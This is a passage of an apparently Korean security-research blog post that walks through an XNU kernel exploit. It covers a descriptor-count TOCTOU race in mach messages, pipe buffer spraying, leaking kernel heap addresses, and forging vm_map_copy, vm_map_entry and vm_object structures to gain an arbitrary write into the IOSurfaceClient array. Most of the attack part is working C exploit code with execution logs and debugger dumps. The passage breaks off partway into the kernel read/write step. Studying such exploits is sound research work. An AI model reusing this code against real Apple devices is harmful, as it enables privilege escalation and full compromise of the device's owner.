    //    pipe1   |   pipe2   |    ...    |  pipe900  |
    // -----------+-----------+-----------+------------+-----------
    //
    
    // poke some holes to increase chance of landing right after a pipe
    printf("[*] Poking holes\n");
    fflush(stdout);

    for(int i = 0; i < pipe_count; i++) {
        if (i % 64 == 0) {
#if ENABLE_HELPER
            printf("[*] Freed pipe kaddr = 0x%llx, i = %d\n", obtain_pipe_kaddr(pipefds[2 * i]), i);
#endif
            close(pipefds[2 * i]);
            close(pipefds[2 * i + 1]);
            pipefds[2 * i] = 0;
            pipefds[2 * i + 1] = 0;
        }
    }
  
    // -----------+-----------+-----------+------------+------------+------------+-----------
    //    pipe1   |   pipe2   |    ...    |   pipe64   |    FREE    |   pipe67   |    ...
    // -----------+-----------+-----------+------------+------------+------------+-----------
    //
}

void
set_nonblock(int fd) {
    int flags = fcntl(fd, F_GETFL);
    flags |= O_NONBLOCK;
    fcntl(fd, F_SETFL, flags);
}

int *
create_pipes(size_t *pipe_count) {
    // Allocate our initial array.
    size_t capacity = *pipe_count;
    int *pipefds = calloc(2 * capacity, sizeof(int));
    assert(pipefds != NULL);
    // Create as many pipes as we can.
    size_t count = 0;
    for (; count < capacity; count++) {
        // First create our pipe fds.
        int fds[2] = { -1, -1 };
        int error = pipe(fds);
        // Unfortunately pipe() seems to return success with invalid fds once we've
        // exhausted the file limit. Check for this.
        if (error != 0 || fds[0] < 0 || fds[1] < 0) {
            pipe_close(fds);
            break;
        }
        // Mark the write-end as nonblocking.
        //set_nonblock(fds[1]);
        // Store the fds.
        pipefds[2 * count + 0] = fds[0];
        pipefds[2 * count + 1] = fds[1];
    }
    assert(count == capacity && "can't alloc enough pipe fds");
    // Truncate the array to the smaller size.
    int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
    assert(new_pipefds != NULL);
    // Return the count and the array.
    *pipe_count = count;
    return new_pipefds;
}

size_t
pipe_spray(const int *pipefds, size_t pipe_count,
        void *pipe_buffer, size_t pipe_buffer_size,
        void (^update)(uint32_t pipe_index, void *data, size_t size)) {
    assert(pipe_count <= 0xffffff);
    size_t write_size = pipe_buffer_size - 1;
    size_t pipes_filled = 0;
    for (size_t i = 0; i < pipe_count; i++) {
        // printf("writing now = 0x%x\n", i);

        // Update the buffer.
        if (update != NULL) {
            update((uint32_t)i, pipe_buffer, pipe_buffer_size);
        }
        
        int wfd = pipefds[2 * i + 1];
        int rfd = pipefds[2 * i];
        set_nonblock(wfd);
        set_nonblock(rfd);

        // Fill the write-end of the pipe with the buffer. Leave off the last byte.
        ssize_t written = write(wfd, pipe_buffer, write_size);
        // printf("written = 0x%x\n", written);
        if (written != write_size) {
            // printf("written = 0x%x, write_size = 0x%x\n", written, write_size);
            // This is most likely because we've run out of pipe buffer memory. None of
            // the subsequent writes will work either.
            break;
        }
        pipes_filled++;
    }
    return pipes_filled;
}

4. 버그 트리거하기: mach_msg_header_t 내용 유출과 mach_msg_ool_ports_descriptor_t 배열 내용 유출

맨 첫 “버그 알아보기” 단계에서 설명해놓았다시피 특정 시점에 descriptor count를 한번 더 읽어들여 반영하기 때문에 TOCTOU가 발생한다.

descriptor count를 읽어들이는 특정 시점은 정확히 첫번째에 ipc_kmsg_alloc(xnu-8019.41.5/osfmk/ipc/ipc_kmsg.c:1973)를 호출할때 descriptors를 읽어들일때이고, 두번째에 ipc_kmsg_get_user(xnu-8019.41.5/osfmk/ipc/ipc_kmsg.c:1999)에서 copyinmsg에 의해 읽어들인다.

취약점을 트리거하는 코드를 살펴보면, kmsg를 송신하고 파괴하는것을 반복한다. 이떄 race_thread에서 descriptor count를 14(N_DESC)와 1014(N_CORRUPTED)로 무한히 계속 값을 변경시키고 있다.

그러면 어느순간 ikm_header가 왼쪽으로 이동하면서 경계 밖으로 벗어나게끔 만듦으로써, 구멍을 뚫어놓은 할당해제된 파이프 버퍼들 중 어느 하나의 왼쪽 공간, 즉 파이프 버퍼와 겹치면서 – 파이프버퍼에 ikm_header와 port descriptor 배열 내용 일부를 차지하게 될것이다.

확인하는 방법은 여러 파이프를 읽었을때, 일부 내용이 0x80000011(MACH_MSGH_BITS_COMPLEX | MACH_MSG_TYPE_MOVE_SEND)값이 들어있다면 겹친 것으로 간주한다.

// N_DESC = 14 and N_CORRUPTED = 1014 will make a message have 0x4000 size
// (there are other combinations however for some reason ones where difference is lower don't work?)

#define N_DESC 14
#define N_CORRUPTED 1014

// size of ool buffer
#define OOL_SIZE 0x100
#define BIG_BUFFER_SIZE 0x10000

struct exp_msg {
    mach_msg_header_t hdr; //0x20
    mach_msg_body_t body; //4
    mach_msg_ool_ports_descriptor_t ool_ports; //0x10
    mach_msg_ool_descriptor_t ool_desc[N_CORRUPTED - 1]; //0x3f50
};

struct exp_msg msg;

void exploit() {
    // ool buffer
    void* buf = calloc(1, OOL_SIZE * N_DESC);
    
    void *ports = calloc(1, BIG_BUFFER_SIZE/2); // size of a port in userland is half its size in kernel
    
    // set up the message
    msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg));
    msg.hdr.msgh_remote_port = 0;
    msg.hdr.msgh_local_port = MACH_PORT_NULL;
    msg.hdr.msgh_id = 0x12341234;
    
    // set the initial (smaller) descriptor count
    msg.body.msgh_descriptor_count = N_DESC;
    
    // ool ports descriptor
    msg.ool_ports.address = ports;
    msg.ool_ports.count = BIG_BUFFER_SIZE / 8;
    msg.ool_ports.deallocate = 0;
    msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
    
    // ool descriptors
    for (int i = 0; i < N_DESC - 1; i++) {
        msg.ool_desc[i].address = buf + i * OOL_SIZE;
        msg.ool_desc[i].size = OOL_SIZE;
        msg.ool_desc[i].deallocate = 0;
        msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR;
        msg.ool_desc[i].copy = MACH_MSG_PHYSICAL_COPY;
    }
    
    ...
    printf("[*] Racing\n");
    
    // more reliability voodoo
    pthread_attr_t pattr;
    pthread_attr_init(&pattr);
    pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
    // start the threads
    pthread_t thread;
    pthread_create(&thread, &pattr, (void*)race_thread, NULL);

    // try up to 100000 times
    for (int i = 0; i < 100000; i++) {

        // create a mach port where we'll send the message
        dest = new_mach_port();
    
        // send
        msg.hdr.msgh_remote_port = dest;
        int ret = mach_msg_send(&msg);
        if (ret) printf("error: %s\n", mach_error_string(ret));

        #if ENABLE_HELPER
        printf("Allocated kmsg, ikm_header = 0x%llx, i = %d\n", xpaci(find_kmsgdata_from_port(msg.hdr.msgh_remote_port)), i);
        #endif
    
        // hopefully (pre-trigger):
        // -----------+-----------+-----------+-----------+------------+-------------+-----------
        //    pipe1   |   pipe2   |    ...    |   pipeN   | ikm_header |   pipeN+2   |    ...
        // -----------+-----------+-----------+-----------+------------+-------------+-----------
        
        // after bug trigger pipeN should overlap with ikm_header:
        
        //                                            +----------------+
        //                                            |                |
        // -----------+-----------+-----------+-----------+            +-------------+-----------
        //    pipe1   |   pipe2   |    ...    |   pipeN   | ikm_header |   pipeN+2   |    ...
        // -----------+-----------+-----------+-----------+------------+-------------+-----------
       
        
        // check if we overwrote one of the pipe buffers
        for (int i = 0; i < pipe_count; i++) {
            if (pipefds[i * 2] && pipefds[i * 2] != opipe[0]) {;
                ssize_t ret = read(pipefds[i * 2], pipe_buf, KALLOC_SIZE);
                if (ret == -1) {
                    printf("[-] Failed to read pipe: %s\n", strerror(errno));
                    continue;
                }
   
                // there seem to be some extra 56 bytes between the two
                int off = KALLOC_SIZE - 4 * (N_CORRUPTED - N_DESC) + 56;
                
                if (*(uint32_t*)(pipe_buf + off) == 0x80000011) {
                    ...
                }
                
                memset(pipe_buf, 0, KALLOC_SIZE);
                write(pipefds[i * 2 + 1], pipe_buf, KALLOC_SIZE - 1);
            }
        }
        
        // if bug didn't work, free message and try again
        // if bug worked but pipes weren't affected then we corrupted something else, let this just panic
        mach_port_destroy(mach_task_self(), dest);
    }
    printf("[-] Exploit failed\n");
    return;
}
        
mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
        printf("[-] failed to insert right\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
        printf("[-] failed to increase queue limit\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    return port;
}        

void race_thread() {
    while (1) {
        // continue;
        // change the descriptor count back and forth
        // eventually the race will work just right so we get this order of actions:
        // count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin
        msg.body.msgh_descriptor_count = N_CORRUPTED;
        msg.body.msgh_descriptor_count = N_DESC;
    }
}

여기서 이루어지는 커널 할당에 대해 중요한 점 몇가지 짚고 넘어가자.

msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg)); msg.body.msgh_descriptor_count = N_DESC; 코드에 의해 ipc_kmsg_alloc 에서 kmsg 할당을 위하여 0x4000크기만큼 KHEAP_DATA_BUFFERS 타입으로 할당된다.

Screenshot 2026-01-23 at 4.33.04 PM.png

다음으로,

msg.ool_ports.count = BIG_BUFFER_SIZE / 8; msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 코드에 의해 ipc_kmsg_copyin_ool_ports_descriptor 함수를 호출하면서 kalloc_type(xnu-8019.41.5/osfmk/ipc/ipc_kmsg.c:3443)에서 최종적으로 KHEAP_DEFAULT 타입으로 0x10000 크기를 할당하게된다.

Screenshot 2026-01-23 at 3.55.38 PM.png

마지막으로, msg.ool_desc[i].size = OOL_SIZE; msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR; 코드에 의해 ipc_kmsg_copyin_ool_descriptor 함수를 호출하면서 vm_map_copyin 을 통해 0x100크기만큼 커널 메모리를 할당하는것으로 보이는데, 타입이 조금 특이하다. KHEAP_DEFAULT, KHEAP_DATA_BUFFERS 타입도 아닌 색다른듯?하다.

Screenshot 2026-01-23 at 5.20.52 PM.png

Screenshot 2026-01-23 at 5.21.07 PM.png

Screenshot 2026-01-23 at 5.18.58 PM.png

이제 ENABLE_HELPER 매크로를 활성화시키고, if (*(uint32_t*)(pipe_buf + off) == 0x80000011) { 코드에서 일부러 멈추도록 getchar() 코드를 넣고 kmsg를 분석해보자.

실행해보면 다음과 같이 파이프에 의해 할당된 커널버퍼 주소들과 중간중간에 구멍을 뚫어놓은 할당해제된 파이프 커널버퍼 주소들, 그리고 kmsg 할당/할당해제를 반복함에 따라 구해지는 ikm_header 주소들을 살펴볼 수 있다.

끝으로 TOCTOU에 의해 하위 1바이트가 특이하게 “0x98”인 곳으로 ikm_header가 할당된곳을 표시하면서 딱 멈춘 것을 볼 수 있다. 주소를 살펴봤을때, 여러 파이프들중 895번 인덱스(i=895)에서 겹치게된다.

./exp
gClient=0xd0f
gKernelSlide = 0x64b0000, gKernelBase = 0xfffffe000d4b4000
[*] Setting up exploit
surfRoot: 0xfffffe150e980fd0
surfClients: 0xfffffe3000940000
[*] Spraying pipe buffers
[*] kspace; Allocated pipe kaddr = 0xfffffe2287a04000, rfd = 0x3
[*] kspace; Allocated pipe kaddr = 0xfffffe2287a28000, rfd = 0x5
[*] kspace; Allocated pipe kaddr = 0xfffffe22879fc000, rfd = 0x7
...
[*] Poking holes
[*] Freed pipe kaddr = 0xfffffe2287a04000, i = 0
[*] Freed pipe kaddr = 0xfffffe2287cd0000, i = 64
[*] Freed pipe kaddr = 0xfffffe2287dd0000, i = 128
[*] Freed pipe kaddr = 0xfffffe2287ed0000, i = 192
[*] Freed pipe kaddr = 0xfffffe2287fd0000, i = 256
[*] Freed pipe kaddr = 0xfffffe22880d0000, i = 320
[*] Freed pipe kaddr = 0xfffffe22881d0000, i = 384
[*] Freed pipe kaddr = 0xfffffe22882d0000, i = 448
[*] Freed pipe kaddr = 0xfffffe22883d0000, i = 512
[*] Freed pipe kaddr = 0xfffffe22884d0000, i = 576
[*] Freed pipe kaddr = 0xfffffe22885d0000, i = 640
[*] Freed pipe kaddr = 0xfffffe22886d0000, i = 704
[*] Freed pipe kaddr = 0xfffffe22887d0000, i = 768
[*] Freed pipe kaddr = 0xfffffe22888d0000, i = 832
[*] Freed pipe kaddr = 0xfffffe22889d0000, i = 896
[*] Racing
Allocated kmsg, ikm_header = 0xfffffe22889d0038, i = 0
Allocated kmsg, ikm_header = 0xfffffe22889d0038, i = 1
Allocated kmsg, ikm_header = 0xfffffe2287490038, i = 2
Allocated kmsg, ikm_header = 0xfffffe22889d0038, i = 3
...
Allocated kmsg, ikm_header = 0xfffffe2287490038, i = 2197
Allocated kmsg, ikm_header = 0xfffffe22889cf098, i = 2198

TOCTOU가 이루어지고 난뒤 mach_msg_header_t 내용과 mach_msg_ool_ports_descriptor_t 배열 내용을 살펴보면 다음과 같다.

(lldb) x/8gx 0xfffffe22889cf098
0xfffffe22889cf098: 0x00004f2480000011 0xfffffe151d567480
0xfffffe22889cf0a8: 0x0000000000000000 0x1234123400000000
0xfffffe22889cf0b8: 0x00950000000003f6 0x02110000fffffe30
0xfffffe22889cf0c8: 0x1e51f20000002000 0x01000000fffffe15
(lldb) x/32gx 0xfffffe22889cf098+0x24
0xfffffe22889cf0bc: 0xfffffe3000950000 0x0000200002110000
0xfffffe22889cf0cc: 0xfffffe151e51f200 0x0000010001000000
0xfffffe22889cf0dc: 0xfffffe151e51c140 0x0000010001000000
0xfffffe22889cf0ec: 0xfffffe151e070a00 0x0000010001000000
0xfffffe22889cf0fc: 0xfffffe151e51c320 0x0000010001000000
0xfffffe22889cf10c: 0xfffffe151e51d040 0x0000010001000000
0xfffffe22889cf11c: 0xfffffe151e51e3a0 0x0000010001000000
0xfffffe22889cf12c: 0xfffffe1511c3ef30 0x0000010001000000
0xfffffe22889cf13c: 0xfffffe151e51d4a0 0x0000010001000000
0xfffffe22889cf14c: 0xfffffe151e51c640 0x0000010001000000
0xfffffe22889cf15c: 0xfffffe151e51c410 0x0000010001000000
0xfffffe22889cf16c: 0xfffffe151e51c8c0 0x0000010001000000
0xfffffe22889cf17c: 0xfffffe151e51c960 0x0000010001000000
0xfffffe22889cf18c: 0xfffffe151e51d9a0 0x0000010001000000
0xfffffe22889cf19c: 0x0000000000000000 0x0000000000000000
0xfffffe22889cf1ac: 0x0000000000000000 0x0000000000000000

Screenshot 2026-01-23 at 5.03.53 PM.png

5. 유출된 내용을 기반으로 m_IOSurfaceClientArrayPointer 배열 주소 추측하기

앞서 말했다시피 – 여러 파이프를 읽었을때, 일부 내용이 0x80000011(MACH_MSGH_BITS_COMPLEX | MACH_MSG_TYPE_MOVE_SEND)값이 들어있다면 ikm_header 내용이 파이프 버퍼와 겹쳐졌다고 볼 수 있다.

유출된 내용 중에 mach_msg_ool_ports_descriptor_t, 즉 OOL 포트 디스크립터의 address는 KHEAP_DEFAULT 타입으로 0x10000 크기만큼 할당된 주소가 들어있다. 따라서 해당 주소에서 0x10000만큼 뺀다면, IOSurfaceRootUserClient 객체의 m_IOSurfaceClientArrayPointer 할당 주소를 구할 수 있다.

그리고, 겹쳐진 파이프의 인덱스는 opipe 배열 변수에 따로 저장해두고, 그 외 나머지 파이프들은 전부 close시켜 파이프버퍼 할당을 해제한다.

// how many pipes to spray
#define N_SPRAY 900

// size of ool buffer
#define OOL_SIZE 0x100
#define BIG_BUFFER_SIZE 0x10000

void exploit() {
...
                if (*(uint32_t*)(pipe_buf + off) == 0x80000011) {
                    printf("[+] Found ikm_header at pipe nr. %d\n", i);
                    struct ool_kmsg *kmsg = pipe_buf+off;
                    
#if DEBUG
                    for (int i = 0; i < N_DESC; i++) {
                        uint64_t kaddr = (uint64_t)kmsg->ool_messages[i].address;
                        printf("[i] 0x%llx\n", kaddr);
                    }
#endif
                     
                    ool_ports_buffer = (uint64_t)kmsg->ool_messages[0].address;
                    
                    // assume this scenario is true and hope for the best
                    IOSC_array = ool_ports_buffer - BIG_BUFFER_SIZE;
                    
                    // save the pipe
                    opipe[0] = pipefds[i * 2];
                    opipe[1] = pipefds[i * 2 + 1];
                    
                    pipefds[i * 2] = 0;
                    pipefds[i * 2 + 1] = 0;
                    
                    // close other pipes
                    for (int i = 0; i < N_SPRAY; i++) {
                        if (pipefds[i * 2]) close(pipefds[i * 2]);
                        if (pipefds[i * 2 + 1]) close(pipefds[i * 2 + 1]);
                    }
                    
                    printf("[+] Leaked ool ports buffer: 0x%llx\n", ool_ports_buffer);
                    printf("[+] Calculated IOSurfaceClient array address: 0x%llx\n", IOSC_array);
#if ENABLE_HELPER
                    printf("[!] orig surfClients: 0x%llx\n", surfClients);
#endif
                    ...
                    printf("[-] Exploit failed\n");
                    return;
                }
...
}

6. 두번째 파이프 스프레이 및 IOSurfaceClients 배열에 AAW하기

다시한번 더 900번 정도 파이프 스프레이를 진행한다.

ikm_header 및 OOL 포트 관련 내용이 유출되었던 기존 파이프에는 읽기/쓰기를 통해 OOL 디스크립터 주소 대신에 fake vm_map_copy 내용이 적힌 프로파일링된 파이프버퍼 커널 주소(KHEAP_DATA_MAPPABLE_LOC)가 적히도록 만든다.

끝으로, IOSurfaceClients 배열 중에 적힌 하나의 IOSurfaceClient 주소 대신에 마찬가지로 프로파일링된 파이프버퍼 커널 주소(KHEAP_DATA_MAPPABLE_LOC)가 적히도록 만든다. 내부적으로는 끝에 mach_port_destroy를 호출함으로써, IOSurfaceClients 배열에 임의로 주소 쓰기(AAW; Arbitrary Address Write)가 이루어진다.

실행 결과와 함께 커널 디버깅한 내용, 그리고 XNU 소스코드를 바탕으로 구체적으로 한번 살펴보겠다.


#define KHEAP_DATA_MAPPABLE_LOC 0xfffffe2287d80000 // may have to be tweaked per device

void after_thread(int *pipefds) {
    // wait a little bit
    sleep(1);
    getchar();
    ...
}

void exploit() {
...
                if (*(uint32_t*)(pipe_buf + off) == 0x80000011) {
                    ...                   
                    gBuf = calloc(1, 0x4000); // need to calculate on A10+
                    memset(gBuf, 0, 0x4000);

                    pipe_count = 900;
                    pipefds = create_pipes(&pipe_count);
                    pipe_spray(pipefds, pipe_count, gBuf, 0x4000, NULL);
                    for(int i = 0; i < pipe_count; i++) {
                        read(pipefds[2 * i], gBuf, 0x4000);
                    }

#if ENABLE_HELPER
                    for(int i = 0; i < pipe_count; i++) {
                        uint64_t kspace = obtain_pipe_kaddr(pipefds[2 * i]);
                        printf("[*] kspace; Allocated pipe kaddr = 0x%llx, rfd = 0x%llx\n", kspace, pipefds[2 * i]);
                    }
#endif

                    struct vm_map_copy *copy = gBuf;
                    struct vm_map_links *entry = gBuf + 0x1000;
                    
                    copy->type = VM_MAP_COPY_ENTRY_LIST; // we need the entry list type
                    copy->c_u.hdr.nentries = 1; // doesn't really matter
                    copy->c_u.hdr.links.next = (struct vm_map_entry*)(gBuf_kspace+0x1000); // the fake entry
                    *(uint64_t*)(((uint64_t)&copy->c_u.hdr) + 0x28) = 0xffffffffbaadc0d1; // do this to skip some useless code
                    
                    fake_IOSC = gBuf + 0x2000; // fake IOSurfaceClient
                    fake_IOS = gBuf + 0x3000; // fake IOSurface
                    
                    *(uint64_t*)(fake_IOS + 0x358) = (uint64_t)(gBuf_kspace+0x2000) + 0x1000; // fake timestamp array = fake ycbcrmatrix array
                    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)(gBuf_kspace+0x3000);
                    
                    
                    void *vm_object = gBuf + 0x3000;
                    *(uint8_t*)(vm_object + 0xa) = 0x40; // lock stuff
                    *(uint32_t*)(vm_object + 0x28) = 2; // something that needs to be 2 for it to work
                    *(uint64_t*)(vm_object + 0x48) = 0x1337; // needs to be non-zero
                    *(uint32_t*)(vm_object + 0x74) = 0x8000000; // needs to be this
                    *(uint32_t*)(vm_object + 0xa4) = 0x400; // mapping_in_progress = 1
                    
                    entry->prev = (void *)(gBuf_kspace+0x2000);
                    entry->next = (void *)(IOSC_array + surfaces[1][0] * 8);
                    *(uint64_t*)((uint64_t)entry + 0x38) = (uint64_t)(gBuf_kspace + 0x3000); // the fake vm_object
                    *(uint64_t*)((uint64_t)entry + 0x48) = 0; // needs to be 0
                    
                    printf("[*] Writing fake vm_map_copy ptr\n");
                    kmsg->ool_messages[1].address = (uint64_t)gBuf_kspace;

                    for(int i = 0; i < pipe_count; i++) {
                        ret = write(pipefds[2 * i + 1], gBuf, 0x4000-1);
                    }

                    ret = write(opipe[1], pipe_buf, KALLOC_SIZE);
                    printf("[*] Wrote fake vm_map_copy ptr, ret = 0x%x\n", ret);
                    
                    pthread_t thread;
                    pthread_create(&thread, NULL, (void*)after_thread, (void*)pipefds);
                   
                    /*
                     this will basically do:
                        entry->next->prev = entry->prev;
                        entry->prev->next = entry->next;
                     
                     and then it'll hang until mapping_in_progress is unset
                    */
                    printf("[*] Writing fake IOSurfaceClient ptr\n");
                    mach_port_destroy(mach_task_self(), dest);
                    
                    printf("[-] Exploit failed\n");
                    return;
                }
...
}

ENABLE_HELPER 매크로를 활성화한 뒤에 실행 결과는 다음과 같다.

여기서 알 수 있는 정보는:

  • overlapped된 ikm_header 주소는 0xfffffe22886d7098 이다.
  • 프로파일링된 바이프커널 버퍼 주소(KHEAP_DATA_MAPPABLE_LOC)는 0xfffffe2287d80000인데, 그에 해당되는 파이프 읽기용 디스크립터값은 0x49f이다.

실행 이후에는 fake vm_map_copy 내용이 적힌 프로파일링된 파이프 버퍼 주소가 OOL 디스크립터 주소 대신에 써졌을 것이다.

seo@seos-Mac ~ % ./exp
...
Allocated kmsg, ikm_header = 0xfffffe22886d7098, i = 527
[+] Found ikm_header at pipe nr. 895
[+] Leaked ool ports buffer: 0xfffffe3000890000
[+] Calculated IOSurfaceClient array address: 0xfffffe3000880000
[!] orig surfClients: 0xfffffe3000880000
...
[*] kspace; Allocated pipe kaddr = 0xfffffe2287d80000, rfd = 0x49f
...

[*] Writing fake vm_map_copy ptr
[*] Wrote fake vm_map_copy ptr, ret = 0x4000
[*] Writing fake IOSurfaceClient ptr

디버깅 내용을 살펴보면, OOL 디스크립터 주소들 중 어느 하나가 프로파일링 파이프 주소(KHEAP_DATA_MAPPABLE_LOC)인 0xfffffe2287d80000가 들어간다.

Screenshot 2026-01-24 at 8.52.12 PM.png

그리고 mach_port_destroy 수행후에 IOSurfaceClients 배열 주소인 0xfffffe3000880000 값을 살펴보면, surfaceID 20번의 IOSurfaceClient 객체에 해당되는 곳인 0xfffffe30008800a0에는 0xfffffe2287d82000(파이프버퍼 주소+0x2000) 값이 적힌 것을 볼 수 있다.

mach_port_destroy 수행 전:

(lldb) x/32gx 0xfffffe3000880000
0xfffffe3000880000: 0x0000000000000000 0x0000000000000000
0xfffffe3000880010: 0x0000000000000000 0x0000000000000000
0xfffffe3000880020: 0x0000000000000000 0x0000000000000000
0xfffffe3000880030: 0x0000000000000000 0x0000000000000000
0xfffffe3000880040: 0x0000000000000000 0x0000000000000000
0xfffffe3000880050: 0x0000000000000000 0x0000000000000000
0xfffffe3000880060: 0x0000000000000000 0x0000000000000000
0xfffffe3000880070: 0x0000000000000000 0x0000000000000000
0xfffffe3000880080: 0x0000000000000000 0x0000000000000000
0xfffffe3000880090: 0x0000000000000000 0x0000000000000000
0xfffffe30008800a0: 0xfffffe1514cb6bc0(WILL BE MODIFIED) 0xfffffe1514cb6c60
0xfffffe30008800b0: 0xfffffe1514cb6d00 0xfffffe1514cb6da0
0xfffffe30008800c0: 0xfffffe1514cb6e40 0xfffffe1514cb6ee0
0xfffffe30008800d0: 0xfffffe1514cb6f80 0xfffffe1514cb7020
0xfffffe30008800e0: 0xfffffe1514cb70c0 0xfffffe1514cb7160
0xfffffe30008800f0: 0xfffffe1514cb7200 0xfffffe1514cb72a0

mach_port_destroy 수행 후:

(lldb) x/32gx 0xfffffe3000880000
0xfffffe3000880000: 0x0000000000000000 0x0000000000000000
0xfffffe3000880010: 0x0000000000000000 0x0000000000000000
0xfffffe3000880020: 0x0000000000000000 0x0000000000000000
0xfffffe3000880030: 0x0000000000000000 0x0000000000000000
0xfffffe3000880040: 0x0000000000000000 0x0000000000000000
0xfffffe3000880050: 0x0000000000000000 0x0000000000000000
0xfffffe3000880060: 0x0000000000000000 0x0000000000000000
0xfffffe3000880070: 0x0000000000000000 0x0000000000000000
0xfffffe3000880080: 0x0000000000000000 0x0000000000000000
0xfffffe3000880090: 0x0000000000000000 0x0000000000000000
0xfffffe30008800a0: 0xfffffe2287d82000(HAS BEEN MODIFIED) 0xfffffe1514cb6c60
0xfffffe30008800b0: 0xfffffe1514cb6d00 0xfffffe1514cb6da0
0xfffffe30008800c0: 0xfffffe1514cb6e40 0xfffffe1514cb6ee0
0xfffffe30008800d0: 0xfffffe1514cb6f80 0xfffffe1514cb7020
0xfffffe30008800e0: 0xfffffe1514cb70c0 0xfffffe1514cb7160
0xfffffe30008800f0: 0xfffffe1514cb7200 0xfffffe1514cb72a0

어떻게 IOSurfaceClients 배열에 임의로 주소 쓰기(AAW; Arbitrary Address Write)가 가능한걸까? 짧게 답하자면, fake vm_map_copy 내용을 기반으로 내부적으로 _vm_map_entry_unlink_ll을 호출하는데, 여기서 임의 주소 값쓰기를 할 수 있었기 때문이다.

호출 스택을 살펴보자면 아래와 같다.

mach_port_destroyipc_right_destroyipc_port_destroyipc_kmsg_reap_delayedipc_kmsg_cleanipc_kmsg_clean_bodyvm_map_copy_discardvm_map_copy_entry_unlink_vm_map_store_entry_unlinkvm_map_store_entry_unlink_ll_vm_map_entry_unlink_ll

Drawing 2026-01-22 08.18.37.excalidraw 1 1-fs8.png

가짜 데이터를 생성함에 있서, 주요 내용을 살펴보자면 다음과 같다.

  1. Fake vm_map_copy 내용:
  • type = VM_MAP_COPY_ENTRY_LIST

vm_map_copy_discard를 수행할때 내부적으로 vm_map_copy_entry_unlink를 호출하도록 AAW할때 필요하다.

  • c_u.hdr.links.next = (프로파일링된 파이프버퍼 커널 주소 +0x1000)
  • c_u.hdr.nentries = 1
  • c_u.hdr.rb_head_store.rbh_root = 0xFFFFFFFFBAADC0D1

0xFFFFFFFFBAADC0D1(SKIP_RB_TREE) 값을 적어놓으면, vm_map_store_entry_unlink 호출을 방지할 수 있다.

  1. Fake vm_map_entry(= fake vm_map_copy’s c_u.hdr.links.next) 내용:
  • links.prev = (프로파일링된 파이프버퍼 커널 주소 +0x2000)
  • links.next = IOSurfaceClients 배열 중 surfaceID 20번의 IOSurfaceClient 객체에 해당되는 곳

IOSurfaceClient 객체에 해당되는 곳에 (프로파일링된 파이프버퍼 커널 주소 +0x2000)값을 적기 위해서 필요하다.

  • vme_object.vmo_object / vme_object.vmo_submap = (프로파일링된 파이프버퍼 커널 주소 +0x3000)
  1. Fake vm_object(= fake vm_map_entry’s vme_object.vmo_object) 내용:
  • Lock.word.can_sleep = 1

"Taking non-sleepable RW lock with preemption enabled” 패닉 방지용으로 필요.

  • ref_count = 2
  • named = 1

vm_object_deallocate에서 if((object->ref_count == 2) && (object->named)) { 조건을 성립시키기 위해 필요 (xnu-8019.41.5/osfmk/vm/vm_object.c:768)

  • pager = 0x1337

vm_object_deallocate에서 if (pager != MEMORY_OBJECT_NULL) { 조건을 성립시키기 위해 필요 (xnu-8019.41.5/osfmk/vm/vm_object.c:774)

  • all_wanted = 8

(왜 8로 세트된건지는 잘 모르겠음…)

  • mapping_in_progress = 1

mapping_in_progress를 세트시킨 이유는 vm_map_copy_discard에서 AAW를 위해 vm_map_copy_entry_unlink를 수행한 이후에 다시 돌아와서 vm_object_deallocatevm_ampping_object_wait에서 무한 대기시키기 위해서이다.

Drawing 2026-01-10 12.04.07.excalidraw 2-fs8.png

가짜 데이터 구성 내용과 함께 임의 주소에 값 쓰기(AAW)가 어떻게 이루어지는지, 그림으로 나타내면 다음과 같다.

Drawing 2026-01-22 08.18.37.excalidraw 1 2-fs8.png

7. IOSurface 커널 읽기/쓰기용으로 사용되어질 파이프 디스크립터값 찾기

after_thread에서 6번째 과정인 “IOSurfaceClients 배열에 AAW하기”가 완료될때까지 충분히 1초정도 대기한다.

2번째 파이프 스프레이했을때, pipefds 배열에 저장해뒀던 디스크립터 값들을 통해 버퍼 내용을 업데이트한다.

그러면 IOSurfaceRootUserClient::s_get_ycbcrmatrix 셀렉터를 호출했을때 파이프 버퍼 내용의 특정 오프셋 위치한 파이프 디스크립터값이 읽히면서, 어느 파이프가 IOSurface 커널 읽기/쓰기용으로 사용되는지 확인할 수 있다.

확인 이후에는 IOSurface 객체가 (프로파일링된 파이프버퍼 커널 주소 +0x3000)으로 가리키도록 복원한다.

// how many pipes to spray
#define N_SPRAY 900

void after_thread(int *pipefds) {
    // wait a little bit
    sleep(1);

    // which pipefd are we using on?
    int pipe_count = N_SPRAY;
    for(int i = 0; i < pipe_count; i++) {
        read(pipefds[2 * i], gBuf, 0x4000);
